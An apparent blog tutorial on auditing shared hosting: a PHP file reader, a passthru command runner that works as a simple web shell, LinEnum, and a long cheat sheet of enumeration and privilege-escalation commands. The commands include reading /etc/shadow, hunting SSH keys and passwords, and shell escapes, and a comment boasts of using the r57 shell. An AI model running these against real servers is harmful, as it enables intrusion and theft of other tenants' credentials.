Shared hosting security audit

Multi-user systems: the pros and cons

Linux is a multi-user operating system. This means that in one operating system several user accounts can be created, and that several users can work simultaneously with the operating system.

The most typical example of multi-user use of Linux is shared (virtual) hosting.

Shared hosting works as follows: each customer of the hosting owns a private folder on the server. In this folder, a webmaster places his sites – one or several at a time. To these folders, a webmaster has FTP access or access through a file manager with the web interface. Many hosting services now also provide access via SSH (immediately or on request). According to the idea, each webmaster has access only to his folder.

Sharing of one computer is very economical and convenient. This approach can be implemented on computers in public places, in organizations, even you at home can set up work in the OS in this way. The only one server (if it is powerful enough) can serve hundreds of customers and host thousands of web sites simultaneously!

Maybe security issues are not acute on a home computer (although it is not pleasant if someone ‘look into’ your private folders).  Nevertheless, in corporations and shared hosting this is much more important: the ability to ‘look’ into someone else’s folder can mean the disclosure of confidential information, and if someone accessed the folder with web sites, it means compromising: the password leaking, the risk of infection of the web resource by malicious software and etcetera.

There are plenty of poorly configured hosting providers servers.

Hacking Hosting

It is unpleasant to know if you are not lucky with the shared hosting and your folder with your sites is a walk-through yard, in which everyone looks.

I will show you some simple tricks how to find out how good or bad with the safety of your sites on hosting.

To start, create a file named test.php on your hosting and copy into it:

<?php
error_reporting('ALL');
 
if ($files = array_slice(scandir('/'), 2)) {
    echo 'In the <b>root</b> folder we found:';
    foreach ($files as $value) {
        echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' . $value;
    }
    echo '<br /><br />';
} else {
    echo '<br />We cannot open the root directory.';
}
 
if ($files2 = array_slice(scandir('/home'), 2)) {
    echo 'In the <b>home</b> folder we found:';
    foreach ($files2 as $value) {
        echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' . $value;
    }
    echo '<br /><br />';
} else {
    echo '<br />We cannot open the home directory.';
}
 
if ($passwd = file_get_contents('/etc/passwd')) {
    $passwd = preg_replace("/\r\n|\r|\n/", '<br />', $passwd);
    echo '<b>/etc/passwd</b> contains:<br />';
    echo "$passwd";
} else {
    echo '<br />We cannot open the /etc/passwd file.';
}

Now open in the web browser address your_site.com/test.php.

The contents of the root folder of the server:

The contents of the /home folder (this directory contains directories of all users):

The contents of the /etc/passwd file (only the top, there are many more lines below):

The beginning is encouraging!

For the sake of fairness, I must say that although this server allows you to climb through its folders, it was not possible to compromise the server or user data in any way. The permissions to important files, as well as user folders, were set properly, i.e. access to site files and databases is not obtained.

The previous PHP code is very simple, it does not do anything supernatural – we just open folders and files, and these files and folders permissions are set so that anyone can open them.

How to run Bash commands on a shared host

You can continue to explore the inside of the hosting using PHP script, you can even throw in there Weevely or some of the webshells (if you choose this way, I recommend c99unlimited.php – classic!). However, I want to execute commands Bash it is more convenient for me, and we will need it soon anyway!

As I said, many hosting provides provide SSH access, so you can use this option. However, I will show a universal way how to run Linux system commands directly through PHP – this is suitable for those who do not have SSH.

Create the file test2.php and copy into it:

<?php
error_reporting('ALL');
 
$cmd = 'ping -c 4 ya.ru 2>&1';
 
echo '<pre>';
passthru($cmd);
echo '</pre>';

Now open a link in the web browser site.com/test2.php. Right in the browser you should see the results of ping command:

If you see them, it means everything works!

In the file test2.php for execution of various commands it is necessary to change only a line

$cmd = 'ping -c 4 ya.ru 2>&1';

More precisely, what's inside the quotes. Here ping -c 4 ya.ru is the command that we sent for execution in the operating system. 2>&1 means redirecting errors to standard output – this is useful so that we can see the cause of the problem if the command does not work.

Try a few more commands:

ls -al

Result:

ls -al /

Result:

cat /etc/passwd

Result:

Information about network interfaces:

ifconfig

Information about the file system:

df -a

Viewing the ARP table of the server:

arp -a

How to run Bash scripts on a shared hosting

You can also run Bash scripts on shared hosting. This is convenient for performing automated checks, also when running complex commands from a PHP script, we need to escape quotes properly, which is not very convenient and takes time.

We need to know the absolute path to the folder where we will place our script. To do this, run the command

pwd

I got the value /home/p/pentest2ru/pentest2.ru

Suppose test.sh is the file with Bash script, then to run it we need to execute a command of the form

bash /path/to/script/test.sh

In my case, the command will be like this:

bash /home/p/pentest2ru/pentest2.ru/test.sh

So, to run the Bash script, I edited the test2.php file and I got it like this:

<?php
error_reporting('ALL');
 
$cmd = 'bash /home/p/pentest2ru/pentest2.ru/test.sh 2>&1';
 
echo '<pre>';
passthru($cmd);
echo '</pre>';

Now in the same folder as test2.php, create the test.sh file. We write in it, for example:

ping -c 4 ya.ru

Now if we open the address site.com/test2.php in the web browser, then we will see the result of the test.sh script execution.

Hosting Checks

To perform a hosting audit, you can use, for example, the LinEnum program.

This program is designed to test multi-user systems for improper configuration and the possibility of increasing privileges. It is completely written on Bash. Therefore we can run it on a virtual hosting.

The program consists of one single file and it does not require any dependencies. Download this file: https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh and upload it to your hosting.

Run with test2.php, specifying the correct path to the file, also use the -t option.

My example (you will have another absolute path to the script):

<?php
error_reporting('ALL');
 
$cmd = 'bash /home/p/pentest2ru/pentest2.ru/LinEnum.sh -t 2>&1';
 
echo '<pre>';
passthru($cmd);
echo '</pre>';

To run the script again, open a link in the browser site.com/test2.php

When the script completes its work, a large report will be displayed.

Analysis of LinEnum results

To understand the results of hosting checks, you need to have some understanding of the Linux operating system.

File permissions in Linux

You will see that the folders (in Linux they are called directories) and the files are displayed in approximately the following form:

drwx------ 3 pentest2ru notcustomer  4096 Jul  9 07:01 .
drwx------ 5 pentest2ru notcustomer  4096 Jul  7 21:17 ..
-rw-r--r-- 1 pentest2ru notcustomer    34 Jul  7 21:46 1.sh
drwx------ 2 pentest2ru notcustomer  4096 Jul  7 20:19 cgi-bin
-rw------- 1 pentest2ru notcustomer    35 Jul  7 20:19 .htaccess
-rw------- 1 pentest2ru notcustomer  1055 Jul  7 20:19 index.html
-rw-r--r-- 1 pentest2ru notcustomer   205 Jul  7 20:37 i.php
-rw------- 1 pentest2ru notcustomer 44413 Jul  7 20:30 LinEnum.sh
-rw-r--r-- 1 pentest2ru notcustomer   100 Jul  9 07:01 test2.php
-rw------- 1 pentest2ru notcustomer   909 Jul  8 18:59 test.php

The first part (for example, drwx------) is information about permissions. Next (for example, pentest2ru) is a file owner, then (for example, notcustomer) is the name of the group. Then comes the date, time and file name.

For each file in Linux, you can set different permissions for:

  • owner
  • groups
  • world-wide

Consider lines

  • drwx------
  • -rw-------
  • lrwxrwxrwx

The very first character (d, l or ) indicates the type of file (in Linux everything is files). If this is d, then this is the directory (folder). If this is l, then this is a symbolic link, and if it is (a dash), then this is a normal file.

Then there are nine characters. The first three show file permissions of the file owner, the next three are the group's permissions, and the last three are the permissions for everyone.

The letter r means the permission to read, the letter w is write permission, the letter x is the permission to execute. A dash indicates the absence of this permission.

The example -rw-r--r--

The very first character (a dash) indicates that this is a normal file. Then the symbols rw- come. This shows the access rights of the file owner. In this case, the owner has the right to read the file and write it, but there is no right to execute it. The following three r-- characters mean that the group has read access to the file, but there are no rights to write it and execute it. The last three characters (same r--) mean the same rights (read permission, but no write and execute) for all.

Another example: drwxr-xr-x

This line means that we face a directory (d), the next three characters (rwx) indicate that the owner can read and write this directory. The letter x for directories means the ability to enter it, for example, using the cd program. The following symbols (r-x) indicate that members of the group can read the contents and go to this folder, but cannot write anything into it. The last three characters (r-x) indicate that anyone can also read the contents of the folder and go into it, but cannot write anything down there.

Access to other people’s files on hosting

For example, we saw the following in the /etc/passwd file with LinEnum (or simply by running the cat command):

cronosgoru:x:1074:700::/home/c/cronosgoru:/usr/bin/scponly
oceanzayru:x:1075:701::/home/o/oceanzayru:/usr/bin/scponly
yourissite:x:1076:701::/home/y/yourissite:/usr/bin/scponly
bvshramkog3:x:1077:700::/home/b/bvshramkog3:/bin/bash
dsfgfdmail:x:1078:701::/home/d/dsfgfdmail:/usr/bin/scponly
leaderagru2:x:1079:700::/home/l/leaderagru2:/usr/bin/scponly
masixbetru:x:1080:700::/home/m/masixbetru:/usr/bin/scponly
pchelka222:x:1081:700::/home/p/pchelka222:/usr/bin/scponly
split93com2:x:1082:700::/home/s/split93com2:/usr/bin/scponly
anarimwapm:x:1083:701::/home/a/anarimwapm:/usr/bin/scponly
sitethemru5:x:1084:700::/home/s/sitethemru5:/usr/bin/scponly

You can understand that the /home/c/cronosgoru, /home/o/oceanzayru and so on folders on are user directories where the sites are stored. If we can look at their contents:

ls -l /home/o/oceanzayru

Especially if we are able to see the contents of the web site files (for example, the wp-config.php file, in which WordPress stores the MySQL cleartext password). This means hosting has very big problems in terms of ensuring the security of customers.

Other problems of hosting security

Viewing other users’ files is not the only possible hosting problem. There are many different options for incorrect configuration, which can lead to server compromise. However, these are deeper questions that require an understanding of the Linux operating system, the differences between distributions, the features of the installed software, and so on.

That is, it is impossible to consider all the options for incorrect server configuration in one article, further research depends on your preparedness.

Cheat sheet for gathering information about the local system and increasing privileges

Author of LinEnum has collected a lot of commands that can become a start point in Local Linux Enumeration. Link to the original page: https://www.rebootuser.com/?p=1623

Kernel, Operating System & Device Information:

Command Result
uname -a Print all available system information
uname -r Kernel release
uname -n System hostname
hostname As above
uname -m Linux kernel architecture (32 or 64 bit)
cat /proc/version Kernel information
cat /etc/*-release Distribution information
cat /etc/issue As above
cat /proc/cpuinfo CPU information
df -a File system information

 

Users & Groups:

Command Result
cat /etc/passwd List all users on the system
cat /etc/group List all groups on the system
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null List all uid’s and respective group memberships
cat /etc/shadow Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
finger Users currently logged in
pinky As above
users As above
who -a As above
w Who is currently logged in and what they’re doing
last Listing of last logged on users
lastlog Information on when all users last logged in
lastlog –u %username% Information on when the specified user last logged in
lastlog |grep -v "Never" Entire list of previously logged on users

 

 

User & Privilege Information:

Command Result
whoami Current username
id Current user information
cat /etc/sudoers Who’s allowed to do what as root – Privileged command
sudo -l Can the current user perform anything as root
sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man'|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python|ruby|lua|irb' | xargs -r ls -la 2>/dev/null Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc.

 

Environmental Information:

Command Result
env Display environmental variables
set Display environmental variables and functions
echo $PATH Path information
history Displays command history of current user
pwd Print working directory, i.e. ‘where am I’
cat /etc/profile Display default system variables
cat /etc/shells Display available shells

 

Interesting Files:

Command Result
find / -perm -4000 -type f 2>/dev/null Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null Find GUID files
find / -perm -2 -type f 2>/dev/null Find world-writeable files
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null Find world-writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null Find word-writeable directories
find /home –name *.rhosts -print 2>/dev/null Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ; Find *.plan files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/ See if you can access other user directories to find interesting files
cat ~/.bash_history Show the current users’ command history
ls -la ~/.*_history Show the current users’ various history files
ls -la /root/.*_history Can we read root’s history files
ls -la ~/.ssh/ Check for interesting ssh files in the current users’ directory
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la Find SSH keys/host information
ls -la /usr/sbin/in.* Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)
ls -la /etc/*.conf As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located
lsof -i -n List open files (output will depend on account privileges)
head /var/mail/root Can we read roots mail

 

Service Information:

Command Result
ps aux | grep root View services running as root
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' Lookup process binary path and permissions
cat /etc/inetd.conf List services managed by inetd
cat /etc/xinetd.conf As above for xinetd
cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each
ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null Permissions and contents of /etc/exports (NFS)

 

Jobs/Tasks:

Command Result
crontab -l -u %username% Display scheduled jobs for the specified user – Privileged command
ls -la /etc/cron* Scheduled jobs overview (hourly, daily, monthly etc)
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null What can ‘others’ write in /etc/cron* directories
top List of current tasks

 

Networking, Routing & Communications:

Command Result
/sbin/ifconfig -a List all network interfaces
cat /etc/network/interfaces As above
arp -a Display ARP communications
route Display route information
cat /etc/resolv.conf Show configured DNS sever addresses
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
iptables -L List rules – Privileged command
cat /etc/services View port numbers/services mappings

 

Programs Installed:

Command Result
dpkg -l Installed packages (Debian)
rpm -qa Installed packages (Red Hat)
sudo -V Sudo version – does an exploit exist?
httpd -v Apache version
apache2 -v As above
apache2ctl (or apachectl) -M List loaded Apache modules
mysql --version Installed MYSQL version details
psql -V Installed Postgres version details
perl -v Installed Perl version details
java -version Installed Java version details
python --version Installed Python version details
ruby -v Installed Ruby version details
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above
dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null List available compilers
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1' Which account is Apache running as

 

Common Shell Escape Sequences:

Command Program(s)
:!bash vi, vim
:set shell=/bin/bash:shell vi, vim
!bash man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
awk 'BEGIN {system("/bin/bash")}' awk
--interactive nmap
echo "os.execute('/bin/sh')" > exploit.nse
sudo nmap --script=exploit.nse
nmap (thanks to comment by anonymous below)
perl -e 'exec "/bin/bash";' Perl

Also recommended:

One Comment to Shared hosting security audit

  1. Ilja B0nhart says:

    I used r57, worked like a charm, I even bypassed the safe mode which was a shocker, since the host is pretty reputable, what can I say, one cannot just host a website on a shared host 🙂

Leave a Reply

Your email address will not be published.

wp-puzzle.com logo